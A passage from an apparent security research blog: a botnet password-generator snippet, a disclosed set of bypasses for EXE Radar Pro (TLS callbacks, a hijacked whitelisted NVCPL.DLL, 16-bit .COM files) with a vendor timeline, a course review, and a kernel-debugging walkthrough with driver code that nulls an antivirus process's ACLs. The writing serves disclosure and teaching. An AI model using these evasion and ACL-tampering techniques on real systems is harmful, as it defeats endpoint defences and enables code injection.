checking algotihm</h3>
<div style="margin-bottom: 0cm;">
The password building algotihm is
visible in the function below:</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2Q91ysUUsz9j0EVBr5yHEYMNBL4Qyn3MpLxOHyht5PT2jqPwKhenEWCwTsXruFQGVtRxy8ZG_4xNJdOcnSpyCTQqIO8ZhlI7QDqPE-HmX6okM6Fm0mZr6s-9iPsbfvhv9zGlCHxwtO-I/s1600/ida-verify_pass.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2Q91ysUUsz9j0EVBr5yHEYMNBL4Qyn3MpLxOHyht5PT2jqPwKhenEWCwTsXruFQGVtRxy8ZG_4xNJdOcnSpyCTQqIO8ZhlI7QDqPE-HmX6okM6Fm0mZr6s-9iPsbfvhv9zGlCHxwtO-I/s1600/ida-verify_pass.png" height="320" width="318" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><div style="margin-top: 0.21cm;">
<span style="font-size: small;"><i>VerifyPass function</i></span></div>
</td></tr>
</tbody></table>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
If we follow the code, the function
takes the two inputs – the username and the passphrase, adds the
ASCII codes for letter i of each string, takes the modulo 0x1a and
adds 0x41 (if the username is longer than the passphrase, it's done
repeatedly).</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<h3 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__927_563211136"></a> 2.7.5 Code</h3>
The simples way to dscribe the algorithm is using code:<br />
<span style="font-family: DejaVu Sans Mono, monospace;"># password building</span><br />
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">username
= sys.argv[1] </span>
</div>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">key
= "iamborg" </span>
</div>
<div style="margin-bottom: 0cm;">
<span style="font-family: DejaVu Sans Mono, monospace;">print
"".join([chr((ord(username[i]) + ord(key[i % len(key)])) %
0x1a + 0x41) for i in xrange(len(username))]) </span>
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
This takes as input the desired
username and produces the corresponding password to shutdown the
bots.</div>
<h3 class="western">
<a href="https://www.blogger.com/null" name="__RefHeading__929_563211136"></a> 2.7.6 Miscellaneous</h3>
<div style="margin-bottom: 0cm;">
The code which parses the data received
from the network using <i>recv</i> function was tested for possible
buffer overflows. The size of the buffer was larger than the number
of bytes read by recv() system call.</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
There is a section of code which should
remove a key from registry (in case the bot is not restarted after
shutdown) but the function that deletes the key returns the error
INVALID_HANDLE, as the registry key handle is NULL.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRuBOueAY1deaddL6LR-cNqUXCkSf4RT9HB2mQH6KLmKq6DcGHgD6h0ohOQYbDKNkBOJZFUxsoBy-mtQknBBbxfRIDbk_k5dfYAB4kgOjLZ9nRNwSuZmOpN90CfJKJGbIwXEbkjOOmcow/s1600/ida-reg_delete.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRuBOueAY1deaddL6LR-cNqUXCkSf4RT9HB2mQH6KLmKq6DcGHgD6h0ohOQYbDKNkBOJZFUxsoBy-mtQknBBbxfRIDbk_k5dfYAB4kgOjLZ9nRNwSuZmOpN90CfJKJGbIwXEbkjOOmcow/s1600/ida-reg_delete.png" height="191" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small;"><i>Delete bot from
registry</i></span></td></tr>
</tbody></table>
<div style="margin-bottom: 0cm;">
<br /></div>
<span id="goog_1733866998"></span><span id="goog_1733866999"></span>
Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-5110749938849380105.post-76759653315391542132014-03-08T16:26:00.000+02:002014-03-08T16:26:00.488+02:00Bypass Anti-Executable ProtectionThis shows some methods to bypass client-side anti-executable protection, with examples from EXE Radar Pro software. To do this, we can:<br />
<ul>
<li>Use Thread Local Storage callbacks, which were not blocked, to run arbitrary code. </li>
<li>Masquerade as a white-listed library to execute code past the filters. </li>
<li>Execute 16-bit executables, which were not blocked or registered by the ERP application filters.</li>
</ul>
<br />
<h3>
<b><span style="font-weight: normal;"><span style="font-size: large;"><b>1 TLS Callbacks</b></span></span></b></h3>
<h4>
1.1 Description </h4>
<b>Processes and Threads </b><br />
<br />
An application consists of one or more processes. A process is an executing program. One or more threads run in the context of the process. A thread is the basic unit to which the operating system allocates processor time. A thread can execute any part of the process code, including parts currently being executed by another thread.<br />
<br />
<b>Thread Local Storage</b><br />
<br />
All threads of a process share its virtual address space. The local variables of a function are unique to each thread that runs the function. However, the static and global variables are shared by all threads in the process. Thread local storage (TLS) enables multiple threads of the same process to use a global index allocated by the TlsAlloc function to store and retrieve a value that is local and unique to each thread.<br />
<br />
<b>TLS Callbacks</b><br />
<br />
The TLS area can also be used to store code. Functions can be defined per thread that will be called before execution. When Windows loads the binary into memory, if there is any code defined in TLS it will execute it, before starting executing instructions from main entry point of the executable. <br />
<br />
<b>Detect</b><br />
<br />
We can use PEview to inspect the TLS Directory, locate in the .DATA section:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs2udHW-psONoI6Jqz4rybYwghrYA3P_W9dZV7M_p70GFKl4S2LJN6Z01pVMgnrmlUqi3jJPLR0L6CzutwnOqRvtNmuLxRyXMs550_Qr0lF9zCBDt0SrrGuJbGy7RPyrny1Nf_Qh_lrRA/s1600/tls_callbacks.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs2udHW-psONoI6Jqz4rybYwghrYA3P_W9dZV7M_p70GFKl4S2LJN6Z01pVMgnrmlUqi3jJPLR0L6CzutwnOqRvtNmuLxRyXMs550_Qr0lF9zCBDt0SrrGuJbGy7RPyrny1Nf_Qh_lrRA/s1600/tls_callbacks.png" height="155" width="320" /></a></div>
<br />
<h4>
1.2 Bypass</h4>
There is no simple official way of programatically create TLS callbacks. <a href="http://www.nynaeve.net/?p=183">Nynaeve's tutorial</a> on compiling and linking support for TLS reveals important details. The compiler and linker use a variable of type IMAGE_TLS_DIRECTORY (declared in <a href="https://subversion.assembla.com/svn/mojos/kernel/crt/src/tlssup.c">tlssup.c</a>) that is statically linked into every program to represent the TLS directory. The TLS directory is part of the PE header of an executable. The linker looks for a variable by the name of _tls_used and ensures that in the on-disk image, it overlaps with the actual TLS directory in the final image. More information regarding the members of the IMAGE_TLS_DIRECTORY structure are available online. <br />
The created program will register two TLS callbacks. The second one calls ExitProcess() at the end, so the code of the main() function is actually never executed<br />
The program will execute the code in the two TLS callbacks and exit, without being detected:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI-o4x734X7fZhyhX8OKZbLkPBulcMXzEcajrjvE3KJpUGC-gmi87IDkij2PPC5-Z5uhgyIKkAnjy3tpU8-D9idunfveZL3A1QJE4KuqbAiw47wjzo8rKJWGPxBdPVXCIuEtmiZDQdEGU/s1600/tls.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI-o4x734X7fZhyhX8OKZbLkPBulcMXzEcajrjvE3KJpUGC-gmi87IDkij2PPC5-Z5uhgyIKkAnjy3tpU8-D9idunfveZL3A1QJE4KuqbAiw47wjzo8rKJWGPxBdPVXCIuEtmiZDQdEGU/s1600/tls.png" height="204" width="320" /></a></div>
<br />
<br />
<h3>
<span style="font-size: large;">2 Whitelisted NVCPL.DLL</span></h3>
<h4>
<span style="font-size: large;"><span style="font-size: small;">2.1 Description</span> </span></h4>
The default whitelist contains a section with allowed command lines. The first command string allowed to run is specified like this:<br />
<span style="font-family: "Courier New",Courier,monospace;"><br />rundll32 NVCPL.DLL,NvCplHandleHotplugEvents *</span><br />
<br />
NVCPL is the NVidia driver. The syntax for rundll32 is:<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">> Rundll32.exe DLL_NAME,Entry_Point Optional_Argument</span><br />
<br />
Parameters:<br />
<br />
<b>DLL_NAME</b> - If DLL_NAME is not specified with full path, Rundll32 will search for it in the directories defined in the %PATH% environment variable. To ensure the correct DLL is called, it’s recommended to specify it in full path.<br />
<br />
<b>Entry_Point</b> - The name of the exported function, that’s to be called by Rundll32.exe.<br />
<br />
<b>Optional Argument</b> - Non-compulsory parameters to be passed to the function.<br />
<br />
<h4>
<span style="font-size: small;">2.2 Bypass</span></h4>
We can create a DLL with the same name in the current folder, with a function named “<i>NvCplHandleHotplugEvents</i>”. In case the NVIDIA driver doesn't exist, the function from our crafted DLL will be called. We can then execute code without being blocked by ERP, by using the same command line mentioned in the whitelist:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3Lix-m-DpqrFrFHeEtefT-tBSTFjwpfTfu8PK3wS6d3r_HusYPEpg6w7cy2fDEHqtlXKHgdmpsBKGi20etBRwPS0Pp3GuqxlZHz3pLQeK950v4MycOxETxwi2456le3LmETjlEth5WWg/s1600/dll_allowed1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3Lix-m-DpqrFrFHeEtefT-tBSTFjwpfTfu8PK3wS6d3r_HusYPEpg6w7cy2fDEHqtlXKHgdmpsBKGi20etBRwPS0Pp3GuqxlZHz3pLQeK950v4MycOxETxwi2456le3LmETjlEth5WWg/s1600/dll_allowed1.png" height="187" width="320" /></a></div>
This event is listed as a whitelisted command being run:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc_txgyx-uepvrWyP-YKb0VrImh-0fW6nDyPcW_wgoauY2lEtx6371uukpGXTbelmLCL73vdBL9303okJeGeA-laUjK9D12qsL3feNF_EDtUY4Ot2seapwPLVzglH5NdyQBI2NLQcL9Gw/s1600/dll_allowed2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc_txgyx-uepvrWyP-YKb0VrImh-0fW6nDyPcW_wgoauY2lEtx6371uukpGXTbelmLCL73vdBL9303okJeGeA-laUjK9D12qsL3feNF_EDtUY4Ot2seapwPLVzglH5NdyQBI2NLQcL9Gw/s1600/dll_allowed2.png" height="134" width="320" /></a></div>
<br />
<br />
<h3>
<span style="font-size: large;">3 16 bit .COM executables</span></h3>
<h4>
3.1 Description</h4>
COM files are a type of executables. The .COM executable has no header and contains only code and data. It lacks relocation information and it is loaded by the operating system at a pre-set address, at offset 0100h. Support for legacy DOS and 16-bit Windows programs is available in 32-bit versions of Windows through NTVDM (Virtual DOS Machine). <br />
<h4>
3.2 Bypass</h4>
It is possible to run a .com executable without being detected by ERP. Some tests revealed that NTVDM.exe was registered as an allowed process in the events list. The following simple executable prints a message and exits without even being registered in the events list:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR4Pgxmog9d41swxOCoWROaQ-cnEa2K1HIYOp1pfr40RB27eLwTxxiMub47n40-Eh973TOYgugJbjqYTiNl4-mgTxaxBNo0X21fn_0ons5UTB7JMeg-KODQ1aKCSNHzUIIssFMr_KXwaM/s1600/com1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR4Pgxmog9d41swxOCoWROaQ-cnEa2K1HIYOp1pfr40RB27eLwTxxiMub47n40-Eh973TOYgugJbjqYTiNl4-mgTxaxBNo0X21fn_0ons5UTB7JMeg-KODQ1aKCSNHzUIIssFMr_KXwaM/s1600/com1.png" height="189" width="320" /></a></div>
<br />
<br />
The source code for the demos can be found <a href="https://code.google.com/p/anti-executable-bypass/">here</a>.<br />
<br />
<br />
<h3>
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;">Time-line</span></span></span></h3>
<span style="font-size: large;"><span style="font-size: small;"><br /><b>08/09/2013</b> - Vendor notified about TLS Callbacks vulnerability</span></span><br />
<span style="font-size: large;"><span style="font-size: small;"><b>09/09/2013</b> - Vendor acknowledged TLS Callbacks issue</span></span><br />
<span style="font-size: large;"><span style="font-size: small;"><b>09/09/2013</b> - TLS Callbacks issue is addressed in a new beta version - 3.0</span></span><br />
<span style="font-size: large;"><span style="font-size: small;"><b>16/09/2013</b> - Vendor notified about NVCPL library issue and 16-bi COM files code execution</span></span><br />
<span style="font-size: large;"><span style="font-size: small;"><b>19/09/2013</b> - Vendor acknowledged the previous 2 issues. These are reported as corrected in 3.0 version which will be released</span></span><span style="font-size: large;"> </span><br />
<br />
<span style="font-size: large;">References</span><br />
<a href="http://waleedassar.blogspot.co.uk/2010/10/quick-look-at-tls-callbacks.html">A Quick Look At TLS Callbacks</a><br />
<a href="http://thelegendofrandom.com/blog/archives/2418">R4ndoms Tutorial #23: TLS Callbacks</a><br />
<a href="http://www.nynaeve.net/?p=183">Thread Local Storage, part 3: Compiler and linker support for implicit TLS</a><br />
<a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms686749%28v=vs.85%29.aspx">Thread Local Storage - MSDN</a><br />
<a href="http://en.wikipedia.org/wiki/COM_file">COM file - Wikipedia</a><br />
<a href="http://en.wikipedia.org/wiki/Virtual_DOS_machine">Virtual DOS Machine - Wikipedia</a><br />
Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-5110749938849380105.post-7290330909447930892014-03-02T18:20:00.001+02:002014-03-02T18:24:25.134+02:00Cracking the Perimeter - Course and Exam Review<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXMV3slHB1zVt8Gch5P4BCUKzrlF2wjGws-hOTU4KuhkxOj3Yu6bMGksb3MLDWBH2SWdOWbtAWAWYkDzzW7rCMyBPezHBWpRIng8Q-eicR1I1Vp_5uRMOWl5aERxIa71y43Hn0paj1eFQ/s1600/cert-logo-osce.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXMV3slHB1zVt8Gch5P4BCUKzrlF2wjGws-hOTU4KuhkxOj3Yu6bMGksb3MLDWBH2SWdOWbtAWAWYkDzzW7rCMyBPezHBWpRIng8Q-eicR1I1Vp_5uRMOWl5aERxIa71y43Hn0paj1eFQ/s1600/cert-logo-osce.png" /></a>After OSCP exam, I was eager to start the <a href="http://www.offensive-security.com/information-security-training/cracking-the-perimeter/">CTP</a> training as soon as possible. The course is mostly assembly based. I've spent most of the time in OllyDbg. Besides that, the course has a also web based module, and a networking module. All of them are very interesting and require extra reading and practice to fully understand and be able to reproduce the techniques (during the stressful exam hours!). <br />
<br />
Before being able to register for the CTP training, you're required to pass a short, fun, multi-staged challenge. You can attempt the challenge before paying for the actual course. The challenge starts on the web and finishes with some low-level assembly stuff. If you liked the challenge you'll definitely love the course. <br />
<br />
Reading through other reviews, I didn't dive straight into the course after the challenge. I prepared by going through various exploit development resources. The following sites group together a lot of techniques and are very detailed and relevant:<br />
<a href="https://www.corelan.be/index.php/articles/">Corelan exploit development tutorials</a><br />
<a href="http://www.fuzzysecurity.com/exploits.html">FuzzySecurity Exploit tutorials</a><br />
<br />
One month of lab time is more than enough to complete the exercises from all the chapters in the course, but extra work will prove very useful. Also, as a prerequisite, python and some reverse engineering skills helped a lot. Especially for the manual shellcode encoding module, which requires some automation. Fun times!<br />
<br />
The exam is not easy and requires concentration (and inspiration:), not only a good understanding of the techniques used in the lab. The problems cover all the topics from the lab (including the one you're thinking "I won't get this, it's impossible to get it done in time!"). Some problems have small tricks (which may seem bigger, depending on how confident you are about the topic and ultimately how much you've practised).<br />
I've used both the allocated days for the exam, with a lot of sleep in between (~8h). It's very important not to panic and, if something doesn't work, keep hammering :)<br />
<br />
Overall, I learned a lot while preparing for the exam. The course is stimulating and very interesting, even though some may say that now there are new techniques.<br />
<br />
In the end you get out what you put in. If you need motivation, find your dinosaur and do it!<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnWlNr5bOC7IKb_EOEgWeqnRbEDHhrBgQik3hK7Nu__L4KhVXJlMKlBqWZQY98-r6yc9Mt2xY0OiCHiEYKvkq0wjIK4uWMk01BrNbXe3uUocqlot8ECBl9Xm3lIbYEpkOjBf_IvUAIycM/s1600/motivate-yourself-300x170.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnWlNr5bOC7IKb_EOEgWeqnRbEDHhrBgQik3hK7Nu__L4KhVXJlMKlBqWZQY98-r6yc9Mt2xY0OiCHiEYKvkq0wjIK4uWMk01BrNbXe3uUocqlot8ECBl9Xm3lIbYEpkOjBf_IvUAIycM/s1600/motivate-yourself-300x170.png" /></a></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-7374070175272030102014-02-23T18:27:00.000+02:002014-02-25T20:51:48.272+02:00Change Windows kernel objects' permissions<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA2-LvRjQU277dBjw1Xea31o-ZrYkV0raTmOYmPJZ_trKeuxo-npe-RsEhQAhSaQiCAnx3m1T7bZY1MNgx4QqwSvO7wppGl9PvuhJibQmKY_MVZP0q9WSUrAgGGXpF_G2sQHwAF80_n54/s1600/roadworks.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA2-LvRjQU277dBjw1Xea31o-ZrYkV0raTmOYmPJZ_trKeuxo-npe-RsEhQAhSaQiCAnx3m1T7bZY1MNgx4QqwSvO7wppGl9PvuhJibQmKY_MVZP0q9WSUrAgGGXpF_G2sQHwAF80_n54/s1600/roadworks.jpeg" height="175" width="200" /></a></div>
<h4>
</h4>
<h4>
Goal</h4>
This post shows how to NULL out ACLs of a privileged process or of a protected process and is based on the first trick described in [<a href="https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernal_Slides.pdf">2</a>] by Cesar Cerrudo.<br />
<ul>
<li>Doing this can allow injecting code into the specific process from a less privileged process.</li>
<li>Another usage would be to bypass access restrictions of an anti-virus process, as in the example below.</li>
</ul>
The following technique can be used to:<br />
<ul></ul>
<ul>
<li>Better understand kernel objects and how to access them !!</li>
<li>Remove ACLs of Windows objects (processes, threads, tokens, ..)</li>
<li>Replace security desciptors for Windows objects</li>
<li>Terminate difficult to kill processes </li>
<li>Set other privileges to a process token</li>
<li>Replace a process token</li>
</ul>
<h4>
Technique </h4>
<b>Getting started with LiveKD</b><br />
<a href="http://technet.microsoft.com/en-gb/sysinternals/bb897415.aspx">LiveKD</a> [<a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff553382%28v=vs.85%29.aspx">3</a>] is a tool that simulates local kernel debugging. This program creates a "snapshot" dump file of the kernel memory, <i>without actually stopping the kernel while this snapshot is made. </i><br />
We'll use it to take a peek into the kernel objects. I've downloaded livekd.exe, placed it in the Debuggers folder of WinDDK (<span style="font-family: Verdana,sans-serif;"><i>C:\WinDDK\7600.16385.1\Debuggers</i></span>) then run it from an Administrator console.<br />
<br />
<br />
<b>Process search</b><br />
We'll quickly search for our targeted process, avp.exe in this case.<br />
<pre class="brush:bash; highlight: [1,2 ]">kd> !process 0 0 avp.exe
PROCESS 8552a030 SessionId: 0 Cid: 058c Peb: 7ffdf000 ParentCid: 021c
DirBase: 3502b000 ObjectTable: 9db79008 HandleCount: 2421.
Image: avp.exe
</pre>
<br />
<br />
<b>Process details</b><br />
<pre class="brush:bash; highlight: [1,7]">kd> !process 8552a030 1
PROCESS 8552a030 SessionId: 0 Cid: 058c Peb: 7ffdf000 ParentCid: 021c
DirBase: 3502b000 ObjectTable: 9db79008 HandleCount: 2421.
Image: avp.exe
VadRoot 855e35c8 Vads 896 Clone 0 Private 47284. Modified 54609. Locked 9.
DeviceMap 89c089e8
Token a89ca9f0
ElapsedTime 00:04:32.758
UserTime 00:00:03.655
KernelTime 00:00:06.269
QuotaPoolUsage[PagedPool] 0
QuotaPoolUsage[NonPagedPool] 0
Working Set Sizes (now,min,max) (7583, 50, 345) (30332KB, 200KB, 1380KB)
PeakWorkingSetSize 85004
VirtualSize 616 Mb
PeakVirtualSize 781 Mb
PageFaultCount 331536
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 56081
</pre>
<br />
<b>Process token</b><br />
We can verify the process' token as follows:<br />
<pre class="brush:bash; highlight: [1]">kd> dt nt!_TOKEN a89ca9f0
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x6207526`b64ceb90
+0x030 TokenLock : 0x84b44090 _ERESOURCE
+0x034 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
+0x074 SessionId : 0
+0x078 UserAndGroupCount : 5
+0x07c RestrictedSidCount : 0
+0x080 VariableLength : 0x70
+0x084 DynamicCharged : 0x400
+0x088 DynamicAvailable : 0
+0x08c DefaultOwnerIndex : 1
+0x090 UserAndGroups : 0xa89cabcc _SID_AND_ATTRIBUTES
+0x094 RestrictedSids : (null)
+0x098 PrimaryGroup : 0x91d42dc8 Void
+0x09c DynamicPart : 0x91d42dc8 -> 0x101
+0x0a0 DefaultDacl : 0x91d42dd4 _ACL
+0x0a4 TokenType : 1 ( TokenPrimary )
+0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous )
+0x0ac TokenFlags : 0x2800
+0x0b0 TokenInUse : 0x1 ''
+0x0b4 IntegrityLevelIndex : 4
+0x0b8 MandatoryPolicy : 1
+0x0bc LogonSession : 0x89c01710 _SEP_LOGON_SESSION_REFERENCES
+0x0c0 OriginatingLogonSession : _LUID
+0x0c8 SidHash : _SID_AND_ATTRIBUTES_HASH
+0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
+0x1d8 pSecurityAttributes : 0xa68bdef0 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
+0x1dc VariablePart : 0xa89cabf4
</pre>
<br />
<b>Objects' details</b><br />
<i>Kernel objects</i> (process, threads, tokens, ..) all have a header which contains a field called SecurityDescriptor. This contains the ACEs applied to the current object (This is greatly described in [<a href="http://technet.microsoft.com/en-gb/sysinternals/bb963901.aspx">4</a>], Part 1).<br />
<pre class="brush:bash; highlight: [1,12]">kd> dt nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
+0x004 NextToFree : Ptr32 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : UChar
+0x00d TraceFlags : UChar
+0x00e InfoMask : UChar
+0x00f Flags : UChar
+0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : Ptr32 Void
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD
</pre>
<br />
<b>Security Descriptors</b><br />
We first get the address of the <i>object's headers</i>:<br />
<pre class="brush:bash; highlight: [1,2]">kd> !object 8552a030
Object: 8552a030 Type: (84a38978) Process
ObjectHeader: 8552a018 (new version)
HandleCount: 8 PointerCount: 1008
</pre>
<br />
Then view the <i>header's structure</i>:<br />
<pre class="brush:bash; highlight: [1,12]">kd> dt nt!_OBJECT_HEADER 8552a018
+0x000 PointerCount : 0n1008
+0x004 HandleCount : 0n8
+0x004 NextToFree : 0x00000008 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x7 ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x82949480 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x82949480 Void
+0x014 SecurityDescriptor : 0x89c05eee Void
+0x018 Body : _QUAD
</pre>
<br />
To manually view the security ACEs, we display the structure after zero-ing the last 3 bits ("<i>The security descriptor pointer in the object header uses some of the low-order bits as flags, and these must be zeroed before following the pointer</i>" [4]):<br />
<pre class="brush:bash; highlight: [1]">kd> !sd 0x89c05eee & -8 1
->Revision: 0x1
->Sbz1 : 0x0
->Control : 0x8814
SE_DACL_PRESENT
SE_SACL_PRESENT
SE_SACL_AUTO_INHERITED
SE_SELF_RELATIVE
->Owner : S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Group : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl :
->Dacl : ->AclRevision: 0x2
->Dacl : ->Sbz1 : 0x0
->Dacl : ->AclSize : 0x3c
->Dacl : ->AceCount : 0x2
->Dacl : ->Sbz2 : 0x0
->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[0]: ->AceFlags: 0x0
->Dacl : ->Ace[0]: ->AceSize: 0x14
->Dacl : ->Ace[0]: ->Mask : 0x001fffff
->Dacl : ->Ace[0]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[1]: ->AceFlags: 0x0
->Dacl : ->Ace[1]: ->AceSize: 0x18
->Dacl : ->Ace[1]: ->Mask : 0x00121411
->Dacl : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Sacl :
->Sacl : ->AclRevision: 0x2
->Sacl : ->Sbz1 : 0x0
->Sacl : ->AclSize : 0x1c
->Sacl : ->AceCount : 0x1
->Sacl : ->Sbz2 : 0x0
->Sacl : ->Ace[0]: ->AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
->Sacl : ->Ace[0]: ->AceFlags: 0x0
->Sacl : ->Ace[0]: ->AceSize: 0x14
->Sacl : ->Ace[0]: ->Mask : 0x00000003
->Sacl : ->Ace[0]: ->SID: S-1-16-16384 Unrecognized SID
</pre>
<br />
<br />
The <span style="font-family: Verdana,sans-serif;"><b>1</b></span> at the end tries to interpret the information in a more readable way (e.g. show users/groups corresponding to SIDs). Also, to zero out we AND with 8 (1000 in binary).<br />
<h4>
</h4>
<h4>
Code</h4>
I'll use this technique as an example to change/remove the ACLs for a process. If we look at the OBJECT_HEADER structure, we see that the offset of the security descriptor is<span style="font-family: Verdana,sans-serif;"> +0x014</span>, while the object body starts at <span style="font-family: Verdana,sans-serif;">+0x018</span>. This means that after we find the EPROCESS object's address, we decrement it by 4 to reach the security descriptor.<br />
<br />
To exemplify this, I've used some code from an old project (<a href="http://code.google.com/p/my-dkom/">Hide processes through DKOM</a>).
The code deals with finding all EPROCESS structures and getting
information from them. To test the driver, I've used a wrapper
application that registers and starts a service, communicates with the
driver, unregisters it and deletes the service. Code <a href="http://code.google.com/p/test-driver/">here</a>.<br />
<br />
With a couple of modified lines, we can zero out the security descriptor, or even assign the address of a security descriptor corresponding to another process:<br />
<pre class="brush:c;">int new_acl = 0x9cfa4f39; // address of other descriptor structure or 0
memmove((char*)pNextProcess - 4, &new_acl, 4);
</pre>
<br />
<h4>
Demo</h4>
<b>1. Kaspersky</b><br />
Initially, Kaspersky doesn't allow viewing it's permissions:<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7hNaTEnCKKRrjV33X3DB9Bg_hXg7Upwe9uMZU8_Kl-_zH4akD2yXHysprdqBsNi7xaTmyCkE74nOWfWbmab6YZjsPx06sJpg3XzeO61oXPSuZ91r9ek2dc7wE6-_2HHOXJ5mxwUthJlw/s1600/kaspersky1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7hNaTEnCKKRrjV33X3DB9Bg_hXg7Upwe9uMZU8_Kl-_zH4akD2yXHysprdqBsNi7xaTmyCkE74nOWfWbmab6YZjsPx06sJpg3XzeO61oXPSuZ91r9ek2dc7wE6-_2HHOXJ5mxwUthJlw/s1600/kaspersky1.png" height="219" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Access denied to permissions</td></tr>
</tbody></table>
After we zero out its process ACEs, it seems that we still cannot view the permissions but we can <i>change</i> them:<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
